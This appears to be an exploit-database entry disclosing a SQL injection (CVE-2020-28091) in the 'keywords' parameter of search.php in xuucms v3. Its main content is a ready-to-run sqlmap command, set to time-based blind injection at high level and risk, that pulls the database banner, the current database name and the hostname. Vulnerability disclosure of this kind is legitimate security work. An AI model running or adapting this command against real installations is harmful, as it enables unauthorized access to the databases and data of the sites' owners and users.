xuucms 3 - 'keywords' SQL Injection

# Exploit Title: xuucms 3 - 'keywords' SQL Injection
# Date: 2020-11-18
# Exploit Author: icekam
# Vendor Homepage: https://www.cxuu.top/
# Software Link: https://github.com/cbkhwx/cxuucmsv3
# Version: cxuucms - v3
# CVE : CVE-2020-28091

SQL injection exists in search.php. For details, please refer to:
https://github.com/cbkhwx/cxuucmsv3/issues/1

Use SQLMAP authentication:
 sqlmap -u 'http://localhost/search.php?keywords=12345678'
--dbms='MySQL' --level=3 --risk=3 --technique=T --time-sec=3 -o
--batch --user-agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121
Safari/537.36' -b  --current-db --hostname